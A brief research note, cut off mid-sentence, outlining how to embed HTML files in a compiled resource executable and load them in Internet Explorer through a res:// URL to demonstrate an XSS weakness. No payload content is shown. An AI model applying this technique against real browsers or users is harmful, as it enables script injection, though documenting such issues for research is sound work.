this was created as part of research conducted about vulnerability (XSS) in IE browser.
- Create a resource source file:
filename: resource.rc that contains the following:
/* standard resource # for HTML */ #define HTML 23
/* include all resource from external files */ XSS HTML "index.html" HELP HTML "help.html"
- Compile the source file:
CMD: rc.exe resource.rc
Output: resource.res
- Create EXE file from .res file, the output from pervious step. resource.res
CMD: GoLink.exe resource.res
- Render file on IE as follow: res://C:\path\to\resource.exe/XSS or using iframe as follow: